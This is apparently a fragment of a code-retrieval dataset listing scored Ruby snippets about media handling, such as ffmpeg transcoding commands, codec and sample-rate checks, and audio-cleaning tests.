!file_info[:audio].empty?\n # Removes all of the default metadata that junks up the final file.\n command << \"-map_metadata -1\"\n \n # Maps the video track\n command << \"-map 0:v:0\" << \"-metadata:s:v:0 language=und\" << \"-metadata:s:v:0 title='Video Track'\"\n\n #\n # The video track is copied if the codec is h265 (hevc) and a video tag\n # is added so that Apple products understand the format. Otherwise, the\n # video track is copied if it's in h264 format and the frame size is\n # to remain the same, or it's converted to h264 using high-quality\n # settings.\n #\n if \"hevc\" == file_info[:video][:codec]\n command << \"-codec:v copy -vtag hvc1\"\n elsif \"h264\" == file_info[:video][:codec] && !Options.options[:P480] && !Options.options[:P720]\n command << \"-codec:v copy\"\n else\n # This converts the video using settings that provide nearly visual\n # lossless results.\n output_suffix = \"mp4\"\n command << \"-codec:v libx265\" << \"-vtag hvc1\" << \"-preset:v slow\" << \"-profile:v main\" << \"-crf:v 18\" << \"-threads:v 0\"\n\n # Converts HD video to wide-screen 720P if necessary.\n command << \"-vf:v scale=1280:-1\" if Options.options[:P720]\n\n # Converts HD video to wide-screen 480P if necessary.\n command << \"-vf:v scale=854:-1\" if Options.options[:P480]\n end\n\n # Convert all of the audio tracks to AAC (stereo) and AC3 (multi-channel)\n index = 0\n file_info[:audio].each do |stream|\n index, c = convert_audio(stream, index)\n command << c\n end\n\n if file_info.key?(:subtitle) && !file_info[:subtitle].nil? && !file_info[:subtitle].empty?\n command << \"-map 0:s:#{file_info[:subtitle][:index]}\" << \"-metadata:s:s:0 language=eng\" << \"-metadata:s:s:0 title='Subtitle Track'\"\n command << ('dvd_subtitle' == file_info[:subtitle][:codec] ? \"-codec:s:0 copy\" : \"-codec:s:0 mov_text\")\n end\n\n end\n\n command << \"#{output_name}.#{output_suffix}\"\n\n if Options.options[:dump]\n puts command.join(' ')\n exit\n end\n\n #\n # Starts the transcoding process.\n #\n puts file_info[:filename]\n progress = ProgressBar.create(:format => \"%t |%B| %e\",\n :total => file_info[:duration] + 1,\n :title => \"Encoding Progress\")\n execute(command, true) do |line|\n begin\n line.match /time=(\\d\\d):(\\d\\d):(\\d\\d)/ do |match|\n if match.length == 4\n time = match[1].to_i * 3600 + match[2].to_i * 60 + match[3].to_i\n progress.progress = time\n end\n end\n rescue\n # Some UTF-8 characters can cause match to throw, but these characters are not used by this script.\n end\n end\n progress.finish\nend", "title": "" }, { "docid": "64d4b09485c5770301935983b6847bfd", "score": "0.47599208", "text": "def update!(**args)\n @average_fps = args[:average_fps] if args.key?(:average_fps)\n @bitrate = args[:bitrate] if args.key?(:bitrate)\n @bitstream_color_info = args[:bitstream_color_info] if args.key?(:bitstream_color_info)\n @clean_aperture = args[:clean_aperture] if args.key?(:clean_aperture)\n @clock_discontinuity_us = args[:clock_discontinuity_us] if args.key?(:clock_discontinuity_us)\n @closed_captions = args[:closed_captions] if args.key?(:closed_captions)\n @closed_gop_size = args[:closed_gop_size] if args.key?(:closed_gop_size)\n @codec_fourcc = args[:codec_fourcc] if args.key?(:codec_fourcc)\n @codec_id = args[:codec_id] if args.key?(:codec_id)\n @codec_string = args[:codec_string] if args.key?(:codec_string)\n @color_info = args[:color_info] if args.key?(:color_info)\n @content_light_level = args[:content_light_level] if args.key?(:content_light_level)\n @decode_offset = args[:decode_offset] if args.key?(:decode_offset)\n @display_height = args[:display_height] if args.key?(:display_height)\n @display_width = args[:display_width] if args.key?(:display_width)\n @dovi_configuration = args[:dovi_configuration] if args.key?(:dovi_configuration)\n @end_timestamp = args[:end_timestamp] if args.key?(:end_timestamp)\n @flip = args[:flip] if args.key?(:flip)\n @fps = args[:fps] if args.key?(:fps)\n @frame_size = args[:frame_size] if args.key?(:frame_size)\n @gop_size = args[:gop_size] if args.key?(:gop_size)\n @has_b_frames = args[:has_b_frames] if args.key?(:has_b_frames)\n @hdr10_plus_stats = args[:hdr10_plus_stats] if args.key?(:hdr10_plus_stats)\n @height = args[:height] if args.key?(:height)\n @interlace = args[:interlace] if args.key?(:interlace)\n @is_insane_size = args[:is_insane_size] if args.key?(:is_insane_size)\n @itu_tt35 = args[:itu_tt35] if args.key?(:itu_tt35)\n @length = args[:length] if args.key?(:length)\n @level = args[:level] if args.key?(:level)\n @mastering_display_metadata = args[:mastering_display_metadata] if args.key?(:mastering_display_metadata)\n @max_fps = args[:max_fps] if args.key?(:max_fps)\n @metadata = args[:metadata] if args.key?(:metadata)\n @min_fps = args[:min_fps] if args.key?(:min_fps)\n @number_of_frames = args[:number_of_frames] if args.key?(:number_of_frames)\n @number_of_invisible_frames = args[:number_of_invisible_frames] if args.key?(:number_of_invisible_frames)\n @pix_fmt = args[:pix_fmt] if args.key?(:pix_fmt)\n @pixel_aspect_ratio = args[:pixel_aspect_ratio] if args.key?(:pixel_aspect_ratio)\n @profile = args[:profile] if args.key?(:profile)\n @rational_fps = args[:rational_fps] if args.key?(:rational_fps)\n @rotation = args[:rotation] if args.key?(:rotation)\n @sei_message = args[:sei_message] if args.key?(:sei_message)\n @spherical = args[:spherical] if args.key?(:spherical)\n @start_timestamp = args[:start_timestamp] if args.key?(:start_timestamp)\n @stream_codec_tag = args[:stream_codec_tag] if args.key?(:stream_codec_tag)\n @stream_index = args[:stream_index] if args.key?(:stream_index)\n @user_data_unregistered = args[:user_data_unregistered] if args.key?(:user_data_unregistered)\n @width = args[:width] if args.key?(:width)\n end", "title": "" }, { "docid": "14d4b9885d6cca05c4e397eab92603e5", "score": "0.47599053", "text": "def check_file_type\n if self.is_pdf?\n {\n :square_thumb => ['200x200#', :png],\n :annotation_thumb => ['300x200#', :png],\n :medium => ['500x500>', :png]\n }\n\n elsif self.is_video?\n {\n :square_thumb => { \n :geometry => '200x200!',\n :format => 'jpg',\n :time => 1\n }, \n :annotation_thumb => {\n :geometry => '300x200!',\n :format => 'jpg',\n :time => 1\n },\n :medium => { \n :geometry => '500x500>',\n :format => 'jpg',\n :time => 1\n },\n :transcoded_video => {\n :geometry => '300x200!',\n :format => 'mp4'\n }\n }\n elsif self.is_audio?\n {\n :audio => {\n :format => 'mp3'\n }\n }\n elsif self.is_image?\n {\n :square_thumb => '200x200#', \n :annotation_thumb => '300x200#',\n :medium => '500x500>'\n }\n else\n {}\n end\n end", "title": "" }, { "docid": "752d8d325d3f928f6f15e707ec091df2", "score": "0.47463715", "text": "def default_value type_name\n case type_name\n when \"encoding\"\n \":FLAC\"\n when \"sample_rate_hertz\"\n \"44_100\"\n when \"language_code\"\n \"\\\"en-US\\\"\"\n when \"uri\"\n \"\\\"gs://bucket_name/file_name.flac\\\"\"\n end\n end", "title": "" }, { "docid": "e274d424f0141650accbd35ab0b78f9d", "score": "0.47419852", "text": "def create_short_filename_from_fpieces(fpieces)\n f = fpieces['filetype']\n q = fpieces['quality']\n track_key = fpieces['track_key']\n if f && track_key\n ext = helper_make_ext(q,f)\n \"#{track_key}.#{ext}\"\n else\n raise \"Cannot create short fname without cd_key and track #\"\n end\n end", "title": "" }, { "docid": "4e3315da13d93e8385a0b76db8d039af", "score": "0.4731132", "text": "def check_sample_rate(target, modify_parameters = {}, source_info = {})\n if modify_parameters.include?(:sample_rate)\n sample_rate = modify_parameters[:sample_rate].to_i\n\n # source_info sample_rate_hertz should match modify_parameters original_sample_rate if both are supplied\n if source_info.include?(:sample_rate) &&\n modify_parameters.key?(:original_sample_rate) &&\n source_info[:sample_rate].to_i != modify_parameters[:original_sample_rate].to_i\n raise Exceptions::InvalidSampleRateError, \"Sample rate of audio file #{source_info[:sample_rate]} \" \\\n \"not equal to given original sample rate #{modify_parameters[:original_sample_rate]}\"\n end\n\n original_sample_rate = if source_info.include?(:sample_rate)\n source_info[:sample_rate].to_i\n elsif modify_parameters.key?(:original_sample_rate)\n modify_parameters[:original_sample_rate]\n end\n\n format = File.extname(target)\n format[0] = '' #remove dot character from extension\n\n valid_sample_rates = AudioBase.valid_sample_rates(format, original_sample_rate)\n\n unless valid_sample_rates.include?(sample_rate)\n raise Exceptions::InvalidSampleRateError, \"Sample rate #{sample_rate} requested for \" \\\n \"#{format} not in #{valid_sample_rates}\"\n end\n\n end\n end", "title": "" }, { "docid": "e37ed6670452f764e9a1891882797829", "score": "0.4710563", "text": "def check_file_type\n if image_type? || gif_type?\n {\n thumb: '200x200>',\n medium: '500x500>'\n }\n elsif video_type?\n {\n thumb: { geometry: '200x200>' , format: 'jpg', frame_index: 2 },\n medium: { geometry: '500x500>' , format: 'jpg', frame_index: 2 }\n }\n elsif pdf_type?\n {\n thumb: ['200x200>', :png],\n medium: ['500x500>', :png]\n }\n else\n {}\n end\n end", "title": "" }, { "docid": "47adc1a399d7f9f47a13b2a7dc365bf7", "score": "0.4710546", "text": "def num_harmonics(f0, fs = 44100)\n (fs / 2.0 / f0.to_f).to_i\nend", "title": "" }, { "docid": "31fb3865900d66dec1af169597169ed6", "score": "0.47046176", "text": "def is_audio?\n result = false\n if !mime_type.blank?\n splits = mime_type.split('/')\n if splits[0] == AUDIO\n result = true\n end\n end\n \n result\nend", "title": "" }, { "docid": "a29883cd4e4e141fe2fd1d8810b363ea", "score": "0.46975368", "text": "def update!(**args)\n @allow_open_gop = args[:allow_open_gop] if args.key?(:allow_open_gop)\n @aq_strength = args[:aq_strength] if args.key?(:aq_strength)\n @b_frame_count = args[:b_frame_count] if args.key?(:b_frame_count)\n @b_pyramid = args[:b_pyramid] if args.key?(:b_pyramid)\n @bitrate_bps = args[:bitrate_bps] if args.key?(:bitrate_bps)\n @crf_level = args[:crf_level] if args.key?(:crf_level)\n @enable_two_pass = args[:enable_two_pass] if args.key?(:enable_two_pass)\n @entropy_coder = args[:entropy_coder] if args.key?(:entropy_coder)\n @frame_rate = args[:frame_rate] if args.key?(:frame_rate)\n @gop_duration = args[:gop_duration] if args.key?(:gop_duration)\n @gop_frame_count = args[:gop_frame_count] if args.key?(:gop_frame_count)\n @height_pixels = args[:height_pixels] if args.key?(:height_pixels)\n @pixel_format = args[:pixel_format] if args.key?(:pixel_format)\n @preset = args[:preset] if args.key?(:preset)\n @profile = args[:profile] if args.key?(:profile)\n @rate_control_mode = args[:rate_control_mode] if args.key?(:rate_control_mode)\n @tune = args[:tune] if args.key?(:tune)\n @vbv_fullness_bits = args[:vbv_fullness_bits] if args.key?(:vbv_fullness_bits)\n @vbv_size_bits = args[:vbv_size_bits] if args.key?(:vbv_size_bits)\n @width_pixels = args[:width_pixels] if args.key?(:width_pixels)\n end", "title": "" }, { "docid": "740dac2af897be1e4c428ac79abf8312", "score": "0.4678316", "text": "def quality?(quality)\n quality >= 0 && quality < 50\n end", "title": "" }, { "docid": "338466e9f75fbeba491a107b4f145939", "score": "0.46706423", "text": "def furefure_params\n params.require(:furefure).permit(:channel_id, :user_id, :at_time_sec)\n end", "title": "" }, { "docid": "5a237d3463d55b1e003b5e12d92874bc", "score": "0.4668401", "text": "def check_video_codec\n @video_codec = @video_stream[:codec_name]\n @video_codec_check = if VIDEO_CODEC == @video_codec\n true\n else\n false\n end\n end", "title": "" }, { "docid": "be7dd06956e7786cce583bd92fb38162", "score": "0.46650723", "text": "def update!(**args)\n @allow_open_gop = args[:allow_open_gop] if args.key?(:allow_open_gop)\n @aq_strength = args[:aq_strength] if args.key?(:aq_strength)\n @b_frame_count = args[:b_frame_count] if args.key?(:b_frame_count)\n @b_pyramid = args[:b_pyramid] if args.key?(:b_pyramid)\n @bitrate_bps = args[:bitrate_bps] if args.key?(:bitrate_bps)\n @crf_level = args[:crf_level] if args.key?(:crf_level)\n @enable_two_pass = args[:enable_two_pass] if args.key?(:enable_two_pass)\n @frame_rate = args[:frame_rate] if args.key?(:frame_rate)\n @gop_duration = args[:gop_duration] if args.key?(:gop_duration)\n @gop_frame_count = args[:gop_frame_count] if args.key?(:gop_frame_count)\n @height_pixels = args[:height_pixels] if args.key?(:height_pixels)\n @pixel_format = args[:pixel_format] if args.key?(:pixel_format)\n @preset = args[:preset] if args.key?(:preset)\n @profile = args[:profile] if args.key?(:profile)\n @rate_control_mode = args[:rate_control_mode] if args.key?(:rate_control_mode)\n @tune = args[:tune] if args.key?(:tune)\n @vbv_fullness_bits = args[:vbv_fullness_bits] if args.key?(:vbv_fullness_bits)\n @vbv_size_bits = args[:vbv_size_bits] if args.key?(:vbv_size_bits)\n @width_pixels = args[:width_pixels] if args.key?(:width_pixels)\n end", "title": "" }, { "docid": "71d0fc8186f3826d4a3ecc867098e761", "score": "0.46605524", "text": "def weigh_mime_type(thing, types, qvalue_only = false)\n\n type, subtype, params = thing.is_a?(String) ? parse_media_range(thing) : thing\n\n rate = 0\n specificity = -1\n quality = 0.00\n index = 0\n\n # RFC 2616, sec. 14.1:\n # Media ranges can be overridden by more specific media ranges or\n # specific media types. If more than one media range applies to a given\n # type, the most specific reference has precedence.\n # ...\n # The media type quality factor associated with a given type is\n # determined by finding the media range with the highest precedence\n # which matches that type.\n\n type_is_a_wildcard = type == Const::WILDCARD\n subtype_is_a_wildcard = subtype == Const::WILDCARD\n\n types.each_with_index do |(t,s,p,q),i|\n next unless (type_is_a_wildcard || t == type || no_type_match = t == Const::WILDCARD) &&\n (subtype_is_a_wildcard || s == subtype || no_subtype_match = s == Const::WILDCARD)\n\n # we should skip when:\n # - divergence: \n # * \"text;html;a=2\" against \"text/html;a=1,text/*;a=1\" etc\n # * \"text/html;b=1\" or \"text/html\" against \"text/html;a=1\" etc,\n # i.e, 'a' parameter is NECESSARY, but our MIME-Type does NOT contain it\n # - rate is lesser\n # - rates are equal, but sp(ecificity) is lesser or exactly the same\n\n r = no_type_match ? 0 : 10\n r += no_subtype_match ? 0 : 1\n\n next if r < rate\n\n sp = 0\n p.each do |k,v|\n if params.key?(k) && params[k] == v\n sp += 1\n else\n sp = -1\n break\n end\n end\n\n #next if sp == -1 || (r == rate && (sp < specificity || sp == specificity && quality > q))\n if sp > -1 && (r > rate || (sp > specificity || sp == specificity && quality < q))\n specificity = sp\n rate = r\n quality = q\n index = i\n end\n end\n\n qvalue_only ? [quality] : [quality, rate, specificity, -index]\n end", "title": "" }, { "docid": "a7a41a556ebd80608b53436976f4a5bb", "score": "0.46576193", "text": "def new_bitrate\n accepted_total_bitrate = ((FILESIZE_BOUND * 8 / movie.duration) / 1024).to_i\n # 90% to be safe\n ((accepted_total_bitrate - AUDIO_BITRATE) * 0.9).to_i\n end", "title": "" }, { "docid": "1175f49b02757c0eb1032a685f3023cf", "score": "0.46523994", "text": "def proper_image_sequence_format\n if not image_sequence =~ /\\.mha\\z/\n errors.add(:image_sequence, \"must be in .mha format currently\")\n end\n end", "title": "" }, { "docid": "cb886742f280ebd9927576b5ecf5d6a9", "score": "0.46384418", "text": "def pbResolveAudioFile(str,volume=nil,pitch=nil)\n if str.is_a?(String)\n str=pbStringToAudioFile(str)\n str.volume=100\n str.volume=volume if volume\n str.pitch=100\n str.pitch=pitch if pitch\n end\n if str.is_a?(RPG::AudioFile)\n if volume || pitch\n return RPG::AudioFile.new(str.name,\n volume||str.volume||80,\n pitch||str.pitch||100)\n else\n return str\n end\n end\n return str\nend", "title": "" }, { "docid": "ea8e3827c4c198fd2fef3c3f48f44735", "score": "0.4633395", "text": "def validate\n if( title =~ /^hc12/ || title =~ /^bthfck2/ )\n errors.add_to_base(\"Titles which begin with 'hc12' or 'bthfck2' are reserved!\" )\n end\n \n if( title =~ /[^\\s^_A-Z^a-z^0-9^-]/ )\n errors.add_to_base(\"Only digits, characters, '-' and blanks are allowed for the title!\")\n end\n\n if( ( bundle = Bundle.find_by_title(title) ) != nil )\n if( bundle.created_by_user_id != user_id )\n errors.add_to_base(\"This title is already used! Choose another one.\")\n end\n end\n \n if content_type\n unless( content_type =~ /^image\\/(png)|(jpeg)|(gif)/i )\n errors.add_to_base(\"Images must have the format jpg, png or gif\")\n end\n \n unless was_upload_successful\n errors.add_to_base(\"Image file is too big. It must be smaller then 300K\")\n end\n \n end\n \n end", "title": "" }, { "docid": "014b58be54edfa3c1d6b240a5a943fcb", "score": "0.46252897", "text": "def test_valid_parse\n test_songs, test_kits = SongParserTest.generate_test_data()\n \n assert_equal(120, test_songs[:no_tempo].tempo)\n assert_equal([:verse], test_songs[:no_tempo].flow)\n \n assert_equal(100, test_songs[:repeats_not_specified].tempo)\n assert_equal([:verse], test_songs[:repeats_not_specified].flow)\n \n # These two songs should be the same, except that one uses a kit in the song header\n # and the other doesn't.\n [:example_no_kit, :example_with_kit].each do |song_key|\n song = test_songs[song_key]\n assert_equal([:verse, :verse,\n :chorus, :chorus,\n :verse, :verse,\n :chorus, :chorus, :chorus, :chorus,\n :bridge,\n :chorus, :chorus, :chorus, :chorus],\n song.flow)\n assert_equal(99, song.tempo)\n assert_equal([\"bridge\", \"chorus\", \"verse\"], song.patterns.keys.map{|key| key.to_s}.sort)\n assert_equal(4, song.patterns[:verse].tracks.length)\n assert_equal(5, song.patterns[:chorus].tracks.length)\n assert_equal(1, song.patterns[:bridge].tracks.length)\n end\n \n song = test_songs[:example_with_empty_track]\n assert_equal(1, song.patterns.length)\n assert_equal(2, song.patterns[:verse].tracks.length)\n assert_equal(\"........\", song.patterns[:verse].tracks[\"test/sounds/bass_mono_8.wav\"].rhythm)\n assert_equal(\"X...X...\", song.patterns[:verse].tracks[\"test/sounds/snare_mono_8.wav\"].rhythm)\n \n song = test_songs[:multiple_tracks_same_sound]\n assert_equal(2, song.patterns.length)\n assert_equal(7, song.patterns[:verse].tracks.length)\n assert_equal([\"agogo\", \"bass\", \"bass2\", \"bass3\", \"bass4\", \"hh_closed\", \"snare\"],\n song.patterns[:verse].tracks.keys.sort)\n assert_equal(\"X...............\", song.patterns[:verse].tracks[\"bass\"].rhythm)\n assert_equal(\"....X...........\", song.patterns[:verse].tracks[\"bass2\"].rhythm)\n assert_equal(\"........X.......\", song.patterns[:verse].tracks[\"bass3\"].rhythm)\n assert_equal(\"............X...\", song.patterns[:verse].tracks[\"bass4\"].rhythm)\n assert_equal(\"..............X.\", song.patterns[:verse].tracks[\"snare\"].rhythm)\n assert_equal(\"X.XXX.XXX.X.X.X.\", song.patterns[:verse].tracks[\"hh_closed\"].rhythm)\n assert_equal(\"..............XX\", song.patterns[:verse].tracks[\"agogo\"].rhythm)\n \n song = test_songs[:with_structure]\n assert_equal([:verse, :verse], song.flow)\n assert_equal(1, song.patterns.length)\n assert_equal(1, song.patterns[:verse].tracks.length)\n assert_equal(\"X...X...\", song.patterns[:verse].tracks[\"test/sounds/bass_mono_8.wav\"].rhythm)\n end", "title": "" }, { "docid": "9c207c8686d2d470a94ace1bd5e5b3ef", "score": "0.46122357", "text": "def test_youtube_different_formats\r\n result = `ruby bin/viddl-rb http://www.youtube.com/watch?v=Zj3tYO9co44 --url-only --quality 640:360:mp4`\r\n assert_equal $?, 0\r\n can_download_test(result)\r\n assert result.include?(\"itag=18\")\r\n\r\n result2 = `ruby bin/viddl-rb http://www.youtube.com/watch?v=Zj3tYO9co44 --url-only --quality *:720:*`\r\n assert_equal $?, 0\r\n can_download_test(result2)\r\n assert result2.include?(\"itag=22\")\r\n end", "title": "" }, { "docid": "c0b59c5f1b932c5caf2ca6fceffc77bb", "score": "0.46119323", "text": "def audio_source_is_provided\n if self.external_url.blank? &&\n self.mp3.file.nil? &&\n self.enco_number.blank? &&\n self.enco_date.blank?\n self.errors.add(:base,\n \"Audio must have a source (upload, enco, or URL)\")\n end\n end", "title": "" }, { "docid": "5e7b8419b5d7ed470fdc6b3bbb4a4e47", "score": "0.4611925", "text": "def around_upload(io, context)\n @super_audio = super\n\n return unless context[:phase] == :cache\n\n path = io.respond_to?(:tempfile) ? io.tempfile.path : io.path\n audio = FFMPEG::Movie.new(path)\n wav = Tempfile.new(['forwaveform', '.wav'])\n\n return unless audio_valid?(audio)\n audio.transcode(wav.path)\n\n peaks = []\n length = 60\n info = WaveFile::Reader.info(wav.path)\n sample_size = info.sample_frame_count / length\n\n WaveFile::Reader.new(wav.path, WaveFile::Format.new(:mono, :float, 44_100)) do |reader|\n reader.each_buffer(sample_size) do |buffer|\n intermediary = []\n steps = buffer.samples.length / 10\n (0..9).each do |step|\n intermediary.push(buffer.samples[step * steps].round(2))\n end\n peaks.push(intermediary.max)\n peaks.push(intermediary.min)\n end\n\n @super_audio.metadata.update('peaks' => peaks)\n end\n end", "title": "" }, { "docid": "8739e888e05323e257c452575cdee3ad", "score": "0.4608196", "text": "def set_media_fixed_or_sfp(opts)\n opts = check_params(opts,[:media_types])\n super(opts)\n end", "title": "" }, { "docid": "f9f400aa865cd8320dbd1f0ddf3fdfee", "score": "0.46028066", "text": "def musicfile_params\n params.require(:musicfile).permit(:description, :audio)\n end", "title": "" }, { "docid": "b0ff8ff3ac221ef63023097bfdc2912a", "score": "0.4593889", "text": "def valid_file_format?\n VALID_FILE_FORMAT. include? uri_extension\n end", "title": "" }, { "docid": "e00b3eaa0a5d64a316fc217231c926a2", "score": "0.45927343", "text": "def testSingleTrackWithCalibrationWithoutDCOffset\n execute_Clean_WithConf({\n :Recordings => {\n :EnvCalibration => {\n [ :Env1, :Env3 ] => {\n :CompareCuts => ['0.01s', '0.16s']\n }\n },\n :Tracks => {\n [1] => {\n :Env => :Env1,\n :CalibrateWithEnv => :Env3\n }\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Recorded_Env1_1_CalibEnv3),\n :FakeWSK => [\n # Clean Calibration Env1 Env3\n {\n :Input => '01_Source/Record/Calibration.Env1.Env3.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Calibration.Env1.Env3.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'FFT',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'FFT/Env1.Silence.fftprofile' => 'fft.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.Silence.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Calibration.Env1.Env3.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env3.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env3.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env1.Env3.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env3.02.Cut.0.01s_0.16s.wav',\n :Action => 'Cut',\n :Params => [ '--begin', '0.01s', '--end', '0.16s' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env3.02.Cut.0.01s_0.16s.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env1.Env3.02.Cut.0.01s_0.16s.wav',\n :Output => '02_Clean/Record/Calibration.Env1.Env3.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env1.Env3.04.NoiseGate.wav'\n },\n # Clean Calibration Env3 Env1\n {\n :Input => '01_Source/Record/Calibration.Env3.Env1.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Calibration.Env3.Env1.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env3.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'FFT',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'FFT/Env3.Silence.fftprofile' => 'fft.result' }\n },\n {\n :Input => '01_Source/Record/Env3.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env3.Silence.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Calibration.Env3.Env1.wav',\n :Output => '02_Clean/Record/Calibration.Env3.Env1.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-7601,7577', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env3.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env3.Env1.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env3.Env1.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Calibration.Env3.Env1.02.Cut.0.01s_0.16s.wav',\n :Action => 'Cut',\n :Params => [ '--begin', '0.01s', '--end', '0.16s' ],\n :UseWave => '02_Clean/Record/Calibration.Env3.Env1.02.Cut.0.01s_0.16s.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env3.Env1.02.Cut.0.01s_0.16s.wav',\n :Output => '02_Clean/Record/Calibration.Env3.Env1.03.DCShifter.wav',\n :Action => 'DCShifter',\n :Params => [ '--offset', '94' ],\n :UseWave => '02_Clean/Record/Calibration.Env3.Env1.03.DCShifter.wav'\n },\n {\n :Input => '02_Clean/Record/Calibration.Env3.Env1.03.DCShifter.wav',\n :Output => '02_Clean/Record/Calibration.Env3.Env1.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-7507,7671', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env3.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Calibration.Env3.Env1.04.NoiseGate.wav'\n },\n # Clean Track 1\n {\n :Input => '01_Source/Record/Env1.1.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.1.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.1.wav',\n :Output => '02_Clean/Record/Env1.1.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-3604,3607', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.1.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Env1.1.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Env1.1.03.DCShifter.wav',\n :Action => 'DCShifter',\n :Params => [ '--offset', '2' ],\n :UseWave => '02_Clean/Record/Env1.1.03.DCShifter.wav'\n },\n {\n :Input => '02_Clean/Record/Env1.1.03.DCShifter.wav',\n :Output => '02_Clean/Record/Env1.1.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.1.04.NoiseGate.wav'\n }\n ]) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n assert File.exists?('Analyze/Record/Env1.1.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.fftprofile')\n assert File.exists?('Analyze/Record/Env3.Silence.analyze')\n assert File.exists?('Analyze/Record/Env3.Silence.fftprofile')\n assert File.exists?('Analyze/Record/Calibration.Env1.Env3.analyze')\n assert File.exists?('Analyze/Record/Calibration.Env3.Env1.analyze')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env3.01.SilenceRemover.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env3.02.Cut.0.01s_0.16s.wav')\n assert !File.exists?('02_Clean/Record/Calibration.Env1.Env3.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env1.Env3.04.NoiseGate.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env3.Env1.01.SilenceRemover.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env3.Env1.02.Cut.0.01s_0.16s.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env3.Env1.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Calibration.Env3.Env1.04.NoiseGate.wav')\n assert File.exists?('02_Clean/Record/Env1.1.01.SilenceRemover.wav')\n assert !File.exists?('02_Clean/Record/Env1.1.02.Cut.0.01s_0.16s.wav')\n assert File.exists?('02_Clean/Record/Env1.1.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Env1.1.04.NoiseGate.wav')\n end\n end", "title": "" }, { "docid": "d3feccdbe1013a21c6ee1852613fb5b3", "score": "0.4590354", "text": "def update!(**args)\n @channels = args[:channels] if args.key?(:channels)\n @content_type = args[:content_type] if args.key?(:content_type)\n @language = args[:language] if args.key?(:language)\n @loudness1770_lkfs = args[:loudness1770_lkfs] if args.key?(:loudness1770_lkfs)\n @rounded_up_original_duration_sec = args[:rounded_up_original_duration_sec] if args.key?(:rounded_up_original_duration_sec)\n @spatial_audio_mode = args[:spatial_audio_mode] if args.key?(:spatial_audio_mode)\n end", "title": "" }, { "docid": "0a82b46893060c54bc0b35b7b7b0a868", "score": "0.4586809", "text": "def stru(msg); \"202 Only accepts file\"; end", "title": "" }, { "docid": "58bf341e868c9addb6860b5b0a923efe", "score": "0.45845544", "text": "def initialize(fn, encoding = 'utf-8')\n raise(AudioInfoError, \"path is nil\") if fn.nil?\n @path = fn\n ext = File.extname(@path)\n raise(AudioInfoError, \"cannot find extension\") if ext.empty?\n @extension = ext[1..-1].downcase\n @musicbrainz_infos = {}\n @encoding = encoding\n\n begin\n case 